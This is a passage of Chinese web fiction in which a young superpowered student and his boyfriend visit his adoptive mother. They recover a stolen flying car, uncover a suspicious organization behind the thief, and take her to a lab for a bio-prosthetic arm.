“根本劝不动。”沙肆耸耸肩。 虽说她工作那么多年，要是买泉城的房子确实紧巴巴的，但是买东湖城的房子压力不大。 “我前年就跟沙妈妈说过，我在东湖出个首付买个房子，她先住着，我现在就休息的时候过来住几天，等将来退休了就跟她一块儿住。她把我骂了一顿。”沙肆觉得自己的打算挺好的。 沙伍由奢入俭难：“买个带大院子的房子。我有钱。沙妈妈这样的市民，买房有补贴的吧？” “有是有。我户口也是东湖的，没移走。具体看买哪儿。各种条件补贴不一样。”沙肆之前了解过，只觉得特别复杂，“你死心吧，沙妈妈不会同意的。我这个宝贝女儿说的话她都不听，更不会听你这个臭小子的。” “切。”沙伍不屑（不敢）跟沙肆争，三个人一起提着行李路过电梯，直接走楼梯上去，“这边电梯经常坏，沙妈妈就住三楼，我们直接走楼梯比较快。” 这种城市最早一批建设的公寓楼，住宿条件非常差。 一楼二楼有一些类似洗衣房、超市、快递柜之类的公共设施。 姜纶到了三楼后，看到的就是长长的走廊，两边都是相邻很紧密的房门。 低矮的楼层根本照不进太阳。 走廊里的灯光显示出年久失修的昏暗，有一段格外亮，应该是刚换过的，有一段干脆就是暗的。 亮的灯光颜色也不一样，有的白光，有的黄光。 沙肆刚敲门，门内就传来清晰急促的脚步声。 姜纶几乎隔着门板能看到有人快速跑过来。 房门打开，里面出来一位胖胖的中年妇女，圆圆的脸圆圆的眼，显然很意外看到沙肆：“小肆怎么也回来了？这就是姜纶吧？快先进来。” 唯一没有被打招呼的沙伍不满，但不敢说，一个人扒拉着一溜箱子进屋。 姜纶跟在他身边，感觉这房子也就比沙伍在军训时候住的宿舍大一点，同样是没有隔断的一大间。 靠墙摆着一张单人床，另外就是简易的灶台和折叠桌椅。 临近中午，房子里还开着灯。 沙肆已经跟沙妈妈黏糊上了：“沙妈妈，是不是没准备我的份？” 沙伍撇着嘴说道：“没事，我尝两个饺子，剩下的给你吃。” 沙妈妈看过来：“气成这样？饺子都不吃了？” 沙肆拍拍他：“别生气，姐给你点外卖。蛋糕加奶茶怎么样？” “好……不行。”沙伍说话拐弯，“我现在不能吃外食。” 沙妈妈明白了：“哦对，小伍现在觉醒异能了，吃普通食物得不到足够能量。视频里也没仔细说，是不是天赋挺高的？能够进青龙学院，异能天赋应该有个C级？毕业之后，应该直接就是一级二级异能战士了吧？” 沙妈妈的饺子已经包完了。 沙肆洗了手就去煮饺子。 沙伍看了一眼，先把自己的午饭拿出来放桌上，没仔细说自己的异能天赋，顺着沙妈妈的话说：“那当然。我肯定是打遍天下无敌手。” 沙妈妈的机械臂就拍到了他的背上：“上学不是打架！以前就天天打架，现在去了大学也还打架啊？” “可是，青龙学院就是教怎么打架的。”沙伍委屈。 沙妈妈愣了一下，随即笑出声：“哈哈哈，差点忘了。那你现在倒是可以合理打架了，应该不用被天天叫家长了。” 经常被经常叫家长的沙伍心虚：“我以前也没天天……” 姜纶帮不上什么忙，就把几个行李箱打开：“沙妈妈，第一次过来，不知道您喜欢什么，随便买了点。” “来都来了，还买这么……多东西？”沙妈妈本来就是随口客套一句，伴随着姜纶打开的箱子，语气都不对了。 姜纶打开到第八个箱子，看到里面都是沙伍的饭，把带保鲜功能的箱子关起来：“哦，这个不是。” 沙伍看了看剩下的箱子，找出另外一个箱子：“这个是我们的行李，剩下六个都是给您的。” 沙妈妈呆愣当场。 之前沙伍联系她说周末带男朋友来看她，她虽然觉得沙伍的年纪交男朋友早了点，隐隐担心是不是孩子被大城市黄毛给骗了，但沙伍这孩子从小就独，能够交朋友是好事。 男朋友也是朋友。 她猜过对方会提着礼物上门，也猜过空着两手上门，毕竟沙伍说是同学。 万万没想到，两个人会带这么多礼物。 沙妈妈没好意思收：“啊呀，太客气了。”当着姜纶的面，她也不好意思问，不问又心不安，对着姜纶尴尬笑笑，把沙伍拉到一边小声问，“花了多少钱？是不是把你们两个月的学校补贴都用完了？” 青龙学院一年级新生，一个月三千，两个月两个人就是一万二，感觉还是不够买下这么多东西。 “不知道。您放心用，买的都是您用得到的东西，没花多少钱。”他突然感觉沙妈妈这反应有点不对，“沙妈妈？” “怎么了？” 沙伍问：“您没收到我给您买的小飞车？” 没道理30万的小飞车一声不吭，对这么几个箱子的东西大惊小怪吧？ 沙妈妈比他还惊讶：“你给我买小飞车了？” 第47章 消失的快递 沙伍头一次买这么贵的东西，竟然没了！ 顾不上吃饺子，他直接联系卖家，没一会儿就找到了签收人，显示的是本人扫码签收。 也就是说，用的是沙妈妈的手环。 沙妈妈一点印象都没有：“我真没收到啊，你给我买的小飞车什么样？” “我现在宿舍用的那种客货两用的，装货的车斗可以收起来，载重能力也好。”沙伍平时遛弯回来装海鲜特别好用。 要不是实在太好用了，沙妈妈平时工作生活确实用得着，他才舍不得花三十万买一辆小飞车。 这个价格都可以在东湖孤儿院附近买个采光好的小房子了。 姜纶说道：“报警吧。” “嗯。”沙伍抿唇报警，顺手又下单，让发了个加急，“新的明天就送到。这次我盯着，看谁还敢偷！” 之前买的时候，三十万几乎是他全部的存款。 现在不一样了，买个三十万的小飞车，眼也不眨。 沙妈妈扫到一眼价格，下意识以为是三千块，只嘀咕了一句：“找回来就好了，干嘛再乱花钱？” “不一样，找回来了也是被人用过的二手。我送您的，得是新的。”沙伍坚持。 以前没钱的时候只能抠抠搜搜，现在有钱了，完全没必要。 沙妈妈想着回头给沙伍买些东西。 她自己千辛万苦晋级的一级异能战士，知道低阶异能战士只是看着比普通人赚钱容易一点，实际上各种异能物品的开销巨大。 她手臂残疾后从战场上退下来，只是平时买一些维持身体机能的异能食物，就让她有些捉襟见肘，不得不十几年就住在这么一个终年不见天日的小房子里。 孩子们都跟她提过换房子的想法，但谁没年轻过呢。 刚出社会没多久的年轻人，收入没多少，开支一点不少，怎么还能再额外负担她一个人？ 平时孩子们给她送点吃的喝的也就算了，一下子收到这么多贵重礼物，沙妈妈不知道该说什么好，想想丢件的快递更加心疼。 警察上门很快，在确定了相关信息后，看到小飞车30万的金额眼皮都在跳。 能够舍得花钱买30万的小飞车，还这么年轻……难道是孤儿终于找到豪门亲生父母了？ 警察一边脑补，一边飞快接入后台，覆盖全市的监控很快就筛选出了嫌疑人。 “曹闸？”沙妈妈一眼就认出了人。 沙肆和沙伍都认识。 姜纶问：“谁？” 沙伍小声说道：“孤儿院的小学老师，也住这栋楼。” 警察已经通过面部识别调取了曹闸的资料，获得了他的信息，直接和同事一起上去十楼进行抓捕。 等警察走后，沙肆小声补充：“他以前追求过沙妈妈，还问过我想不想要给我当爸爸。我说不要，后来……” 沙妈妈不知道这事情，皱眉：“后来怎么了？” 沙伍不知道“爸爸”的前情，但是大概能猜到后续的事情：“后来就是四姐被冤枉偷了别人的宝石发卡？” 事情发生的时候，他的年纪还很小，但是对他造成的心灵冲击刻骨铭心。 在那之前，他顶多就是和别的小朋友争抢食物，目的很单纯就是为了吃饱。 在那之后，他才意识到原来有人会无缘无故对别人产生恶意，甚至会拐弯抹角去达成，只为了所谓的恶作剧成功后的嘲笑。 那些人根本意识不到会造成什么样的后果。 幼儿园里孩子非常多，不可能把所有孩子都放在一个学校里。 沙肆从小就身体条件出色，进入的小学就是专门培养艺术团的。 沙肆很小的时候就开始做童模，她所在的班级的同学也是差不多的情况，也是少数孤儿院和市政合办的专门学校，招收的学生除了孤儿院的孩子们之外，也有其他来自普通家庭的孩子。 学生之间攀比风非常重。 但毕竟是小学生，也不可能真的怎么样。 所以沙肆在生日的时候收到一枚宝石发卡，只以为是好朋友好心送的漂亮礼物。 当时她对宝石的价格完全没有概念，一直到“好朋友”哭哭啼啼告老师，说沙肆偷了她的贵重物品。 处理那件事情的老师，就是曹闸。 礼物是私下赠送，沙肆没有证人，最后在曹闸的主持下，她把宝石发卡“还”给了“好朋友”，还连累沙妈妈跟着道歉。 从此以后，她再也没留过长发。 沙妈妈显然也想起了当年的事情，眼中含怒，又心态地轻轻抱了抱沙肆：“没事了，都过去了。” 十楼，警察已经抓到了曹闸。 由于涉案金额特别巨大，沙伍他们匆匆吃了午饭后，跟着一起去了警局做笔录。 沙伍这边的笔录特别简单。 他就是买了一件礼物给养母，金钱来源合法可查。 倒是办案民警一看他是青龙学院的学生，眼神里带着某种敬畏。 他们也是一级和二级的异能战士，战斗能力比普通人强了很多。 但他们的异能值天赋不足以让他们进入青龙学院。 同为异能者，他们可太明白异能值天赋高低之间的差距了。 那些异能值天赋高的，一级能够和三级、甚至四级对抗不落下风。 刚入学没多久，就能赚到30万给养母买礼物送人的，天赋得强成什么样，根本不敢想。 沙伍出来，突然闻到一股很特殊的气味，循着味儿看过去，人没见着，打了个喷嚏。 姜纶等在外面，看他出来就上前把人拉到自己身边坐下：“稍微等等。” 沙伍的视线还停留在那个方向：“什么人？怎么烟熏火燎的？”他抬手想揉揉眼睛，被姜纶按住手，又打了个喷嚏。 姜纶只能带他到外面去：“请了个审讯方面的专家来，三级精神系异能，看看那个曹闸的目的到底是什么。要只是见财起意还好……” 沙伍没考虑到这点，警局院子里空气流通，鼻子舒服多了：“也可能是单纯的欺负沙妈妈一个女人。” 沙妈妈虽然有异能，但力量异能让她在平时工作中更多担任一个任劳任怨的角色，加上身体的残疾，完完全全的社会弱势群体，经常会遇到一些莫名其妙的恶意。 姜纶看到沙妈妈和沙肆出来，对她们招了招手，等她们过来了之后，才说道：“我觉得没那么单纯。一个小学老师，还是教艺术启蒙的，有能力盗刷沙妈妈的手环？” 现在生活哪里都离不开手环，想要盗刷手环，可不简单。 一般这种案情简单的小案子，不可能请动三级精神系异能者。 当然，既然人家精神系异能者都出动了，对付一个没有异能的普通人，审讯结果分分钟就出来了。 那位精神系异能者一看到姜纶，就过来打招呼，还没走近就见沙伍拼命打喷嚏，不由得呆立当场：“啊，抱歉。是我身上的香水味刺激到你了吗？” 他身上的香水是配合自己的异能来使用的，请了木系异能用变异植物调配，能够让人的精神放松，配合他的异能，进行精神控制。 有异能者对这种香水敏感确实很正常。 他赶紧给自己身上套了个膜，用来隔绝气息。 沙伍喷嚏打得更厉害了，捂着鼻子：“你们聊，我出去一下。” 异能毕竟不是真正的气味，捂着鼻子用处不大。 糟糕，以后他不会被烟熏异能给呛死吧？ 从未设想过的道路。 沙肆和沙妈妈想跟过去看一下，但还是眼前的事情更重要，反正沙伍那么大了，只是出去走走，又不会出什么事情。 精神系异能者不清楚沙伍的身份，但知道跟在姜纶身边的人，肯定不是他这么一个小人物能够得罪的，赶紧长话短说：“曹闸的目的是想生一个拥有高等级异能值天赋的孩子。他自恋又自卑，一方面觉得自己才华出众自视甚高，一方面又羞耻于自己没有异能，想要一个遗传了自己基因的拥有异能天赋的孩子。 他盯上沙女士是因为沙女士是距离他最近的拥有异能的单身女性。此外，他觉得沙女士生活简朴，一定是存了很多钱。 被冒领的小飞车就是沙女士有钱的证据之一。 他觉得自己的真心已经感动了沙女士，迟早和沙女士是一家人，所以使用一下沙女士的小飞车不算是盗窃。 至于他为什么能够盗刷沙女士的手环，是因为他加入了一个组织，里面充满了类似他这样的人，干各行各业的人都有。技术方面的问题，就是组织内部的人帮忙解决的。 那个组织的相关信息被下了相当厉害的精神印记，我的能力无法触碰。” 他说完这些，就告辞离开了。 沙妈妈和沙肆面面相觑，完全没想到这么一个简单的盗窃案，背后还能牵连到什么组织。 姜纶一直跟沙伍开着视频通话，等精神系异能者离开后，看了看沙伍周围的场景，提醒：“不准偷吃别的东西。” 原本沙伍还可以吃一些普通食物，毕竟其中蕴含的能量，对现在的他来说几乎可以忽略不计。 可惜小鲨鱼长肉情况不理想，为了让小鲨鱼顺利贴上秋膘，祁大厨卯足了劲，现在已经借着青龙学院的便利，重新跟了一位异能方面的营养学博导，开启了自己的博士课程，研究课题就是养肥小鲨鱼。 沙伍戴着耳机把姜纶那边的情况听得一清二楚，鼻尖萦绕着香甜的糕点气息，感觉刚才的烟熏味已经消失不见，根本就不想从蛋糕店里出去。 只是这么赖在人家店里不太好，他就买了一些瞧着特别好吃的甜点。 他漫不经心地回了一声：“噢。买给你吃。接下来怎么办？” 姜纶已经联系上了梁管家：“我跟梁伯说了，他会安排的。你快回来。” 结束跟梁管家的通话，姜纶对沙妈妈和沙肆叮嘱，“接下来，我们就当正常的盗窃案来处理。一会儿我们直接回去，什么组织的事情一概不知道。” 沙妈妈和沙肆保证：“明白。” 姜纶撤掉了结界，整个警局的人都没能察觉，只有回来的沙伍闻到香气，下意识就往姜纶身上扑。 姜纶把人接住，顺手把他手上的几个蛋糕店的拎袋拿走：“没收。” 香香的小少爷在怀，哪里还顾得上什么小蛋糕？ 沙伍抱住姜纶猛吸一口才放开。 沙妈妈略显尴尬。 沙肆倒是很好奇，万万没想到小伍谈恋爱起来竟然是牛皮糖款的。 只分开这么一小会儿，就难舍难分了？ 还好这时候办案民警出来叫他们：“沙女士，你被盗的小飞车就在嫌疑人的家里。你看你是不是现在跟我们过去，直接做个登记领回家，还是我们把小飞车带回警局，你再骑回去？” 沙妈妈立马说道：“我们现在就跟你们去。” 警车有专用的飞车高速通道，一行人很快就回到了沙妈妈所在的大楼。 十楼的曹闸家已经被警方暂时接管。 曹闸家比沙妈妈家不仅是楼层高，地方也宽敞了不少。 看得出来，曹闸作为一名有一些艺术造诣的老师，对于居住条件进行了相当的装饰。 沙肆看到小飞车，不由得吹了一声口哨：“曹老师人品不怎么样，眼光还是不错的。一辆普普通通的小飞车放这儿，看着就跟什么豪车似的，要说能卖好几万我也信。” 两位民警眼神古怪地看了她一眼。 沙妈妈没注意到他们的眼神，笑呵呵道：“就是普通的客货两用小飞车，我刚看了小伍下单的，三千块是不是？哎，三千块是真不贵。” 她嘴上说着沙伍乱花钱，实际上心理非常开心。 她以前有一辆客货两用的小飞车。 在沙伍小时候，她还会开着那辆小飞车送沙伍、沙肆上下学。 后来小飞车修都修不好了，她就再也没买过，没想到沙伍倒是记在心里。 沙伍立马说道：“对啊，我眼光好吧？” 沙肆一听倒是听出一点味儿来了，就跟她花了六千给沙妈妈买了一件大衣，只敢跟她说六百，还被她嫌买贵了一样。 她低头拉了个手环的小光屏，打字问：三千？ 沙伍回：三十。 沙肆看了半天，又拍照上购物软件搜索了一下，眼睛都瞪大一圈。 三十万！ 一辆小飞车？！ 哪怕是作为模特，也算是时尚圈子里的人，接触过很多品牌溢价，但沙肆依旧无法理解。 回到沙妈妈的小房子的时候，问题来了，小飞车停不下。 沙妈妈兴冲冲地想怎么给小飞车挪个位置：“得停在家里，不然又被人偷走。” 沙伍说道：“这辆给坏人用过了，您直接放孤儿院里用。我又买了一辆新的，明天就送到。”接着说，“你不想送人也行，平时哥哥姐姐他们回来也能开。就是你现在没地方停。” 于是，很顺理成章的，沙妈妈自己就想到要换个房子：“那确实是得换个稍微大一点的房子。最好有个房间，这样你们回来也能有地方住。” 姜纶把沙伍买的一堆蛋糕一样样拿出来放桌上：“买新房不急。我这边有个特别适合沙妈妈的项目，大概需要您两三个月的时间。” 他把生物义肢的材料发给沙妈妈看。 沙肆很好奇：“能不能也给我一份？” “可以啊。”姜纶给沙肆也发了一份，“现在这个项目在试验阶段，要是您愿意的话，我这边可以给您一个推荐名额。” 相当成熟的试验也是试验。 沙伍之前没考虑过时间：“要两三个月？” 姜纶对着沙伍眨眨眼：“培育新的手臂要时间，还有后期观察是不是排异，康复训练，复查之类的。” 一堆光屏展开，上面专业的医学名词，沙肆根本看不懂，但是：“这个生物义肢看上去和真的没什么两样。这……平时需要拆下来保养吗？” 沙伍认真去了解过：“不用。我们学院里有几个老师做过这个项目，我去问过了，装上之后刚开始会有点别扭，习惯之后就跟原先的一样了。不用做什么特别保养，直接从食物中获得足够的能量供给就行。” 姜纶补充：“可能隔两年需要做一次体检。” 沙肆拍板：“做！” 沙妈妈非常心动。 如果按照这份资料上所说的，简直就是重新长一条新的手臂出来。 她失去自己的一条手臂已经十多年了，谁不希望自己的身体健全呢？ 可是：“这个费用很高吧？” 姜纶微笑：“试验有相关补贴。您这样的一级异能战士，损伤的还是肢体，是最容易培育的，费用小伍完全可以负担，您不用担心。” 沙伍听姜纶一本正经叫他小伍，觉得耳朵痒痒的，又有点开心，顺着姜纶的话说道：“沙妈妈，要不我们现在就去后土城详细咨询一下？” 有个什么狗屁组织盯上了沙妈妈，短时间内还是不要待在东湖的好。 沙妈妈一惊：“啊？现在就去？” 沙伍理所当然：“对。现在才下午一点。我们现在去车站，坐城际列车，应该晚上就能到后土城了。正好这两天周末，我们陪您做个检查，还得看您的身体条件是不是合适，需不需要先锻炼一下。” 沙肆也算是看出沙伍的用意，配合道：“对，正好周末。我和小伍都在，我们现在就去。要是合适的话，您到时候再跟院里面请假，反正您的年假不都攒着嘛。您坐着，我去给您收拾行李。” 沙妈妈想起来：“小伍给我买的新车不是明天到？” 沙伍立马打开手环，联系卖家：“我让他改地址。改好了。好了，走走走！” 沙妈妈稀里糊涂就跟着到了后土城，直接就有飞车开到站台，把他们接到了瑞云实验室。 “这里是瑞云实验室？”沙妈妈作为异能战士，只是听说过，没想到有一天会亲自过来，“在这里治疗的不都是一些高阶异能战士？” 姜纶否认：“哪里有那么多高阶？就是个专门给异能者提供医疗服务的实验室，有一些相关医学研究。” 瑞云实验室的建筑低矮开阔，和孤儿院那种阴暗逼仄完全不同。 沙肆平时很少接触这样的环境，想着周围全都是异能者，就有些紧张：“我一个普通人，来这里没问题吧？” “能有什么问题？”沙伍不理解。 姜纶说道：“来都来了，一起做个体检。” 沙伍已经体检烦了：“我早上不是已经做过了？” “有几个项目学校那边没有。” “行叭。” 飞车经过了整个小镇，直接进入一栋山顶豪宅，接着再由两位服务人员陪同沙妈妈和沙肆去做体检。 沙肆有些不安，顾不上打量豪华的房子，问沙伍：“小伍不一起……你头顶有只鸭子！” 沙伍抬手摸摸软乎乎暖烘烘的绿头鸭：“这是鸭老师。” 鸭老师一脸微笑：“你好啊，漂亮的小姑娘。” “你好，鸭老师。”沙肆感觉十分魔幻。 “沙小姐，我们先去做体检，回来刚好用餐。”服务人员轻声细语，领着沙肆上了飞车。 沙伍这次体检的地点就在这栋山顶豪宅内，跟姜纶在一起。 “整座山都掏空了？” 姜纶否定：“不是。这是我爸锻炼异能垒起来的山。我生下来问题比较多，我妈需要个地方给我建实验室，就想起来这个地方。我爸就按照我妈的要求改了改。这座山是真正的瑞云实验室。山下面的那些医院、药企、酒店之类，都是后期配套的项目。” “哦。”沙伍想起自己的调查报告作业，“你爸爸的异能应该很出名才对，为什么教科书上只有他的名字，没有关于他觉醒体的记载？那时候人类存亡生死一线，他要是显露出人身蛇尾的觉醒体，应该很容易提振士气的吧？” “他显露过啊。只不过大部分人都以为他只是觉醒了一条蛇尾巴，没人觉得他的形态是完全转化。当年其实很混乱，几乎是一夜之间，所有的电子科技都报废，拥有异能的人类和大量生物变得奇形怪状。关于觉醒、异能什么的，大家都没概念，只知道尽可能提升自己的力量，关于异能的修炼相当简单粗暴，导致很多前期很多惊才绝艳的异能者最后陨落。 再说，我妈的觉醒体是青龙。我爸当年哪怕先一步踏入九级，也没人觉得他半条蛇能够跟青龙打。” 沙伍的脸皱起来：“别人为什么要让你爸家暴你妈？你爸妈怎么相处，和外人有关？” 姜纶没从这个角度想过问题：“可能因为我爸是赘婿？” 第48章 婴儿床 通往山体内的电梯是沙伍乘坐过的最大的一台电梯。 他和姜纶两个人……哦，外加一个不占面积的鸭老师，一起站在里面，跟站在篮球馆里似的。 姜纶跟沙伍说起自己家的情况：“我爸跟姜家这边的情况，跟我妈跟姚家那边的情况相比，更加复杂一点。 姚家那边纯粹是因为亲缘关系已经比较疏远了。这么多年，我妈没少照顾姚家。姚家现在开枝散叶，人那么多，我妈也不可能真的照顾得这么全面。加上我出生后，我妈的精力基本都放在我身上，对他们的照顾更少。 姜家这边，我爸其实不怎么搭理他们。具体情况，他们也没跟我说。” “哦。”沙伍扶了扶头顶的鸭绒帽，跟着姜纶出电梯，感觉这长长的电梯已经把他带到了地心。 出了电梯门之后，除了高亿点，完全就是个实验室的样子，各种让人眼花缭乱的机器，许多忙忙碌碌的白大褂和辅助机器人，倒是没有什么在山洞里的特别感觉。 沙伍被带去做一些检测，过程并不复杂，几个项目做下来就花了十来分钟。 从池子里出来变回人形，沙伍突然“咦”了一声，四周转了一圈。 飞过来的鸭老师问他：“怎么了？” 沙伍皱眉：“姜纶呢？”怎么一点都感觉不到了？ 鸭老师有些诧异他的敏锐：“走，我带你过去。” 说完，鸭老师就飞了起来。 沙伍跟在他后面跑了一段，很快就来到了一个巨大的透明罩子前。 他敢确定，这个罩子在他刚刚从电梯里出来的时候还没有。 现在，这个罩子里盘踞着一条金龙。 从朱雀城返回青龙城的海底，他曾经对金龙惊鸿一瞥，当时只觉得金龙十分庞大，但那是在晚上，加上污染的原因，他没看清金龙究竟长什么样。 后来有一次姜纶差点拆了宿舍，他路过房门的时候见了屏蔽器里的一截尾巴，还不是尾巴尖。 现在罩子里的金龙十分清晰，就是过分巨大，不知道竖起来能有几层楼高，待在里面有些局促地来回转圈。 相较于他长长长长的身体，目测只有两层楼高的腿有些短，也不知道怎么撑起那么长的身体，不让肚皮垂下来的。 难道是……平板支撑！ 沙伍走到罩子前，伸手对着男朋友挥了挥。 金龙一下就注意到，调转了一下方向，把脑袋对准沙伍，感觉这个角度的小鲨鱼太过娇小，他往后退了退，把脑袋贴在地上，大眼睛里满是委屈，呼出一口气：“呼——” “嘿。”沙伍一下就乐了，“小~短~腿~” 金龙的脑袋一下就抬高，在罩子里半走半飞地转了一圈，又回到原位把脑袋贴在地上，眼睛里更委屈了。 站在旁边的鸭老师看看沙伍，再看看金龙：“嘎嘎嘎！” 几个在边上做记录的研究员也忍不住露出笑意，非常努力才让自己的表情尽量保持严肃。 金龙的检查时间还要一会儿，鸭老师把沙伍带一旁的桌子上，见缝插针给他讲课。 他们虽然平时会视频答疑，但面对面上课的效果完全不一样。 沙伍已经把鸭老师的课程视频全都看完了，开始把其中的一部分原理进行尝试，尤其是他最近发现了体内消失的能量后，感觉鸭老师的知识应该是能起到作用的。 “我自己摸索了一下，找不到抓手。”知道是什么道理，并不表示能够做到。 鸭老师说道：“你现在进入冥想状态，我的异能进入你的身体看看。” 沙伍照做。 鸭老师话是这么说，但没想到沙伍竟然就在周围人来人往的环境里这么快就进入了冥想状态，要知道沙伍开始练习冥想都没多久。 沙伍还以为自己能够做到这点是很普通的，毕竟学会冥想内视的速度，他在十班里也就是个中游水平，至于现在进度怎么样，反正大家都能内视。 在内视视角中，他第一次清晰地看到一股来自外界的暖流，进入到他的星河。 原本星星之间微弱的联系像是染上了颜色，变得异常清晰，漫天星辰在这一刻仿佛真的变成了一条河流。 他想起被夜鹭抓着在天上飞的时候，俯瞰到的黄河。 庞大的主脉络上，交错着许许多多的支流，覆盖了广袤无比的地域。 他体内的九颗主星串联起来，就像是大河的干流，那些小星星就是大河的支流。 只是和黄河那种越到下游，河道越宽广不同；他的星河越到下游，河水愈发稀少。 尤其是位于下游的小星星，大量小星星和星河之间几乎毫无联系，像是零星分布的小水洼，随时可能会消失的样子。 平常观察不到的细节，在鸭老师异能的帮助下，他第一次这么清晰直观地看到，也是第一次抓到了能量消失的罪魁祸首。 那是一个小黑点，不起眼，但他仔细观察，发现是一个小漩涡，像是有谁拔了水槽的塞子，导致能量不断流失。 这样的小黑点非常非常多。 沙伍之前一直看体检报告，经常听医生们说他的身体就是个四面漏风的破麻袋，还是第一次亲眼看到。 经过了几个月的修复，还蹭到了姜纶成年和小粉升阶的能量，他的身体已经得到了极大的修复，结果还是这幅筛子样。 他都不敢想，刚开始的时候他的身体究竟是什么德行。 分神了一瞬，他看到鸭老师的异能在引导他的能量去堵住缺口，只是“漩涡”的力量实在太大，堵住缺口的能量在星河的冲刷和漩涡的下很快就被带走。 这样的修补有点用，但不多。 鸭老师的异能在他体内转了一圈就退了出去，头顶的绿毛都黯淡了一些。 一旁的研究人员过来把他抱走，隔了一段距离才小声询问：“怎么样？” 鸭老师一副像是要马上被下锅的样子，只剩下嘴硬：“区区一个小朋友，我想想办法就能搞定。” 现在的小朋友究竟是怎么回事？ 一个两个的，明明连一级异能战士都还不是，怎么异能那么恐怖？ 这小子不仅仅是异能值天赋高，而且异能性质……他的异能进去了就没出来，全都给吞噬了。 亏大发了！ 研究人员秒懂，就是现在还搞不定的意思。 作为瑞云研究所的研究人员，他们的研究对象一直都是姜纶。 经过姜纶这个病例的考验，外面医院的那些疑难杂症对他们来说都是放松脑子。 不是说那些病例就真的处理起来轻松简单，而是那些病例怎么样都能找到合适的解决路径，不像面对姜纶的时候那么无解。 现在他们的项目面临一个转机——他们找到了姜纶的专属净化者。 他们的项目同时出现了一个新的难题——这位专属净化者本身就是个疑难杂症。 沙伍还在使劲堵漏，只是没有了鸭老师的帮助，他自己的异能无论是能量的大小，还是对于异能的控制力，都不足以让他做到。 经过一番努力，沙伍退出冥想状态：“饿了。” 他下意识看向罩子内，里面的金龙已经消失，罩子还维持着原样，一丝丝钻石小少爷的香甜气息都没散发出来。 沙伍双目无神，感觉更饿了。 姜纶收敛完气息走过来，迎来的就是男朋友的一口：“嘶……别这么用力，小心又磕到牙。” 沙伍依依不舍地松开他的脖子，埋在他胸口深呼吸。 很好，现在还香香的。 姜纶见他不说话，低声问：“我抱你上去？” 沙伍缓了缓：“我自己走。” 姜纶显然有些失望：“那好吧。” 沙伍想起来自己的鸭绒帽：“鸭老师？” 鸭老师甩甩脑袋：“你们吃饭去吧，我吃过了。” “好吧。”沙伍和姜纶回到山顶豪宅。 管家说道：“沙小姐的体检结果已经出了，有些营养不良。考虑到沙小姐的职业，营养师在给她准备便携的营养补剂，确保她能够在不影响身材的情况下恢复健康。沙女士那边检测很顺利，正在和医生确定治疗方案。小伍要不要去看看她们的客房？” “好！”沙伍跟着管家走。 姜纶没跟：“我先去换件衣服。” 刚才为了方便检查，他换了件病号服。 跟沙伍单独相处倒是没什么，考虑到一会儿要和两位还算陌生的女士一起用餐，他这样的着装十分不妥当。 沙伍其实都没看出他穿的病号服，看上去就跟普通的休闲服差不多，跟之前章医生借给他的那种病号服完全不一样。 “客房在二楼。” 沙伍跟着管家直接走楼梯上去。 客房区域是长长的走廊，两边有好几扇房门，中间还有好几个楼梯。 沙伍本来以为宿舍已经够大够夸张了，没想到这里更夸张。 “安排了最东面的一间房。”管家把人带到房门口，推开门进去，就是一个宽敞明亮的大客厅，里面散发着清新的花香和草木清香。 这是一间并不是特别大的套房，起码比起沙伍在宿舍的房间要小得多。 “考虑到沙女士后期的治疗，安排了一个小型的康复训练室。”管家打开其中的一个房间，里面摆放着一些锻炼器材和简单的体检设备。 这个房间三面开窗，山下的风光尽收眼底。 沙伍在里面转了一圈：“这个很棒。” 管家微笑：“你和小少爷的房间更棒。来，带你去看沙女士的房间，我看着给准备了一些生活用品。这边有一间小卧室，方便沙小姐过来的时候和沙女士一起居住。” 说是小卧室，其实一点都不小，也是套房设计，还有专属的衣帽间和化妆间。 沙伍感觉这个安排很妥帖：“谢谢，考虑得很周到。” 管家客气了一句，看到手环上传来的信息：“沙小姐和沙女士回来了，我们下楼去用餐？” “好的。”沙伍重新感觉到了饥饿，出门看到长长的走廊，感觉腿软走不动。 管家察觉到了，安排了一辆室内小飞车，载着两人下楼。 沙肆和沙妈妈也是坐着同款小飞车到达的餐厅，两人同款震惊脸。 沙肆疯狂给沙伍发消息。 沙肆：【在家里开小飞车，太夸张了！】 沙肆：【这个小飞车的座椅像王座，太舒服了！】 沙肆：【你都不知道我在医院里体检的时候有多少人伺候！】 沙肆：【我都以为自己得了绝症！】 沙肆：【我这辈子没见过这么大的房子，这是人住的吗？怎么住得过来？！】 沙肆：【这里多少钱一晚，会不会破产？】 沙肆：【你现在这么能赚钱的吗？能不能教教我？】 沙伍：“四姐。” 沙肆眼神涣散：“嗯？” 沙伍：“深呼吸。” 沙肆深深吸气，长长呼气：“好了，我冷静了。” 姜纶换完衣服过来：“先吃饭。” 一顿晚餐吃得格外沉默。 沙伍是真饿了，哪怕是宝宝餐也吃得有滋有味。 吃过晚饭，转战到小客厅，沙伍才问起沙妈妈的检查结果：“医生怎么说？” 沙妈妈对于自己能够重新长出一条手臂的冲击力，完全覆盖掉了面对豪宅的震惊，哪怕竭力克制，语气中还是透着兴奋：“医生说完全没问题，就是我得先配合进行一些锻炼，才能让生物义肢达到最好的效果。你们也知道，我这些年都没怎么锻炼，异能水平其实已经很差了。” 什么东西都是不用就荒废。 异能同样如此。 她现在的实力，差不多就是一个力气大一点的普通人。 姜纶给沙妈妈倒了一杯花茶，语气温和：“医院那边应该会给您安排专门的老师来指导您？” “是的。”沙妈妈喝了一口温度恰恰好的花茶，感觉整个人都安定下来不少，一时间不知道该怎么说。 沙伍很高兴：“沙妈妈，你早点装好生物义肢，到时候我带着你大杀四方！” 沙妈妈听得哈哈大笑：“我都这把年纪了，就算有了生物义肢，也没法大杀四方了。” 姜纶倒是给了个不错的建议：“其实您完全可以考城市环卫的编制。城市内偶尔会有出现一些带有一定攻击性的变异生物，譬如变异昆虫、变异老鼠之类的，需要一些低阶异能战士。” “嗯？还有这个职位？”沙伍好奇，立刻搜索了一下青龙城的环卫工招聘信息，条件竟然出乎意料的好，“沙妈妈，做这个做这个！” 沙肆把光屏拉到面前看：“我去！这待遇不是比孤儿院的好到不知道哪里去了？” 沙妈妈不太相信，仔仔细细把岗位职责研究了一遍，发现还真的没有什么坑：“平时就开个保洁的飞车，遇到变异生物的时候上报信息……都不用杀？” 姜纶解释：“不用。一般的低阶异能战士更多的会从事城市拓展，或者是警察、安保这一类工作。环卫部门想要招聘到异能战士的难度很高，这种职位的缺口很大。待遇比不上前面几种职业，好处是危险性相对较小。 环卫的那些工程车都是自动工作，安排人员在上面，主要是因为清洁过程中可能会遇到变异生物。相关人员只需要有能力自保就行，具体的清除和彻查工作有专门的安保部门负责。他们的待遇更高。 